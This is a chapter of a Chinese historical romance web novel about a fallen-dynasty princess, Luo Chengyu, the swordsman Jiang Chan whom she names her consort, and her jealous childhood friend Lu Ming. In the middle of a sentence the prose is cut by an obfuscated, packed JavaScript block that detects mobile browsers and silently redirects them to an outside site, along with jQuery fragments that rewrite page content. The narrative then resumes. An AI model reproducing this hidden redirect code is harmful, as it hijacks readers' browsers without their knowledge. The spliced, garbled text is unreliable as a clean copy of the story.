就在兰贺怔愣时,江蝉端着一碗粥过来,影子横在他和洛成玉中间。兰贺想了想,还是腾出地方,他记得红红还和一群老人小孩准备纱布和各种伤药呢,他也去看看她吃没吃上饭。
淡淡的烟火气与蒸腾的白粥热气为清晨的营地带来点生气,冲淡了山雨欲来的凄凉。
洛成玉接过粥,刚吃了几口,就觉得手背一阵冰冰凉的感觉。一抬眼,见江蝉正在往她手上划伤处涂抹膏药。
这几处地方已经不疼了,江蝉一碰,甚至有点痒,让她不自觉瑟缩一下。
“弄疼你了?”江蝉一顿,动作更加缓慢轻柔,就像一片羽毛拂过一样。
洛成玉没点头也没摇头,就这样把头枕在双臂上,静静地盯着江蝉的脸。
他眼下一片乌青,整张脸没什么血色,短短几个月,他身体的状况越来越差。洛成玉情不自禁用手抚上江蝉的侧脸。
她手刚端着热粥,暖呼呼的,接触到江蝉冰一样的脸颊,产生了极大的反差。
温暖总是吸引人去停留。
江蝉微不可几地蹭了蹭洛成玉的手心。
“成玉,”他出声,“或许有一句话兰贺说得对。”
洛成玉干脆把另一只手也按上去,不停揉捏着江蝉的脸颊,一边为江蝉取暖,一边为自己找到了新的乐趣。
江蝉不太习惯这种揉捏方式,他感觉自己的脸颊好像都变形了,说出来的话也有些跑调,但是看到洛成玉含笑的眼,又觉得心里满足,于是凑近了些,方便洛成玉揉搓,免得她伸着胳膊时间长了手酸。
“他说什么了?”洛成玉看着一张如此清隽的脸在靠近,心里被珍爱的情绪填满,她耐心的等待着江蝉的回答,眼神里温柔溢出来,把江蝉快要淹没。
江蝉用手掌碰了碰洛成玉的手,淡声道:“确实是我配不上你。”
是他在高攀。
从前他虽知道她高贵的出身,却不以为意。王侯将相宁有种乎,公主的身份和姣好的容颜对于江蝉来说也不过是见之即忘的空壳。可是一步步,不知从哪天开始,这个人突然变得越来越鲜活,她的爽朗笑声、飘逸字迹、坚强品格,甚至是偶尔犯傻的天真,永远在煮糊东西的厨艺……好的坏的,拥有了生命一样,在他眼前、梦里不断出现。
她总是说自己骄矜,不懂如何生存。可是用勇气论宽慰兰贺的是她,为了不连累宝林毅然离开的是她,为素不相识的扬州百姓尽力的也是她。桩桩件件,让江蝉觉得,世上有一个成玉,真是一个奇迹。
而他呢?江湖有名的剑客,偶尔发发善心,大部分时候过着无言无为的生活。他前十八年的时光,就好像是一只蛰伏在地下的蝉一样,在盛夏来临之前,他甚至未曾看出一场阳光,感受过一次甘露,直到破土的那天,他才学会如何感受自己的生命。
有时他真的要恍惚,潮湿昏暗的密道,是他救了洛成玉,还是洛成玉救了他。
“说什么呢?”洛成玉一瞬间像炸毛的小狮子,一双手掌捧起江蝉的脸来认真道:“兰贺他和你说什么了?什么配不配的!”
兰贺这家伙,难道忘了江蝉可是救了他一命的,在救命恩人面前怎么能说些奇奇怪怪的话。
洛成玉干脆道:“才没有不配呢!我现在封你为我玉溪公主的驸马,”当然,洛成玉是附在江蝉耳边说的,但是手可舍不得离开江蝉嫩滑的脸颊,依旧捧着,“我看谁敢说你不配!”
驸马……?
江蝉喉结轻动,以退为进道:“婚姻不是讲究父母之命媒妁之言吗?公主这样无凭无据……”
“你等着!”洛成玉见到江蝉低低敛眉的表情,越想越觉得心疼。
江蝉是跟着雪霁那种老匹夫长大的,肯定从小都没感受到什么安全感。正好刚才给几队人编名册,纸笔都在。
洛成玉挥挥洒洒,一封聘书写就,玉笔亲封江蝉为驸马。
国没了,父皇被杀了,母妃早逝,所以她这个公主最大,她金口玉言,想让谁当驸马,谁就是驸马!
“给。”洛成玉挑眉,很是满意自己的文采。
江蝉看着上面熟悉的字迹和溢美之辞,眸光轻颤。
这时有人来找洛成玉,说是城外金吾卫决定后撤进城防守,叫她跟着过去交涉。毕竟现在洛成玉在城内有一定威望,不少人还继续指着洛成玉为他们出头。
洛成玉无法,只得匆匆喝完粥,跟他们离开。
江蝉慢一步,先小心翼翼地折好信纸,然后把它放进心口的位置才起身。
心口的位置沉甸甸,让江蝉忍不住露出笑容,只是这笑却没持续多久,因为‘真驸马’进城了。
江蝉没想到这么快就可以见到陆鸣这个人。
在临时搭建的棚子里议事,长身玉立,坦白讲长得还行,谈吐也利落,经年的金吾卫身份让他周身又多了丝肃杀,若是个陌生人,江蝉或许有兴趣认识一番,但做为曾经出现在成玉梦呓中的人物,他生不出一点好感。
尽管这个名字已经很久没在成玉口中出现了,但是不得不承认,每每想到他会在成玉梦中占据位置,江蝉就按捺不住心底的烦躁。
他进了棚子,抱剑倚靠壁上,默默听二人叙旧。
“他便是——”陆鸣从江蝉进来的一刻就注意到,玉溪的注意力已经不在他身上了。
他默默收紧了背在身后的手掌,只是面上依旧淡然。
“江蝉,当初就是他救的我,这一路上都是他在悉心保护我、照顾我。”洛成玉站在两人中间,三人连成一条直线,“江蝉,这是陆鸣,我们小时候常常一起上书房。”
—明明我和玉溪是一起长大的。
—成玉没介绍他的驸马身份。
两男心里都有些不满,但又不好在洛成玉面前袒露,不然倒显得自己小肚鸡肠。
这时外面有人来找,说有两个小队因为物资问题起了冲突,想让洛成玉过去调解一下。洛成玉自然就要动身,但是她忙碌了一天一夜,脚步虚浮,刚走到江蝉身边就被江蝉拉住手腕。
看着洛成玉苍白的脸色和联想起匆匆给她的帐篷送东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436476|161770||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的马萍兰,江蝉猜洛成玉来癸水了。每个月都能见识一次洛成玉的虚弱,江蝉担心争执现场人多嘈杂,形势又急,洛成玉费心劳力,痛上加痛。
“还是我去吧。”他做为和洛成玉一同组织秩序的人,在城内百姓中也有不少声望,他去也能平息骚动。
尽管留成玉和陆鸣单独在一起,他……在扬州紧急的状况下,江蝉尽量把心底的杂念抛出去。
“……好。”洛成玉想想自己时不时难受的身体,还是同意了江蝉的提议。
随着江蝉的离开,棚子里又只剩下洛成玉和陆鸣两个人。
可是她心里想着江蝉离开前的眼神,久久没有办法把思绪转回到陆鸣身上。
那样低落的神色出现在江蝉眼里,看得洛成玉甚至想拉住他的手,和他一起去。
“玉溪。”对着洛成玉的背影,陆鸣缓缓上前。
!!!
他从背后拥抱住洛成玉。
触电了一般,洛成玉浑身僵硬着推开陆鸣。
这一举动,让他们两个人都愣在了原地。
洛成玉清晰的看见陆鸣眼里的错愕。从前,都是洛成玉蹦蹦跳跳到陆鸣身边,抱着他的胳膊不肯撒手,非得他把藏在袖子里的礼物拿出来才肯作罢。
陆鸣每次都板着脸说这不合规矩,但是又每次都把礼物继续藏在衣服里。就这样吵吵闹闹一通,最后再微红着脸说‘公主下次可不能这样了’。可是下次又下次,十个春秋冬夏,衣服换了又换,洛成玉的习惯没改,陆鸣有时候也懒得去纠正。在陆鸣心里,或者说周围所有人的言语中都有一个既定的事实——被贵妃赐恩出入宫闱的陆家小子,长大了是要配给玉溪公主当驸马的。
还在懵懂年龄的陆鸣就被灌输了这样的思想,他早已不觉得有什么问题。
可是天不遂人愿,先是一个赵麟,后是一个江蝉。
陆鸣努力扬起一个笑脸来缓和气氛,但是他失望的心情又让他笑不出来,最后只能僵僵的牵动了一下嘴角。或许是自己也觉得诡异,他撇过头,不再去看洛成玉。
她的反应好像有点大了。
洛成玉也觉得内疚。兴许人家陆鸣只是觉得许久和朋友未见,一时思念,加之小时候自己又常常抱人家,所以人家就来抱一下。
真奇怪,小时候明明都是陆鸣一本正经地推开她,反复给她说这不合规矩的话,现在陆鸣主动‘不合规矩’了,可她却觉得陌生、奇怪。当陆鸣的手臂贴上她的腰间的时候,洛成玉只觉得一阵头皮发麻,迫不及待想要抽离。
她……她怎么能对陆鸣这样呢?无论是小时候的情谊还是当初船上冒着危险放她离开,陆鸣对她都是仁至义尽。
“对不起,陆鸣,我只是太累了,没反应过来。”洛成玉不好意思地笑笑,尽量让自己的语调轻松些。
殊不知,正是这一句‘对不起’让陆鸣的心一沉再沉。
那么——
陆鸣敛眸,甚至阴暗地想:
江蝉触碰过她的身体吗?她也是这样抗拒吗?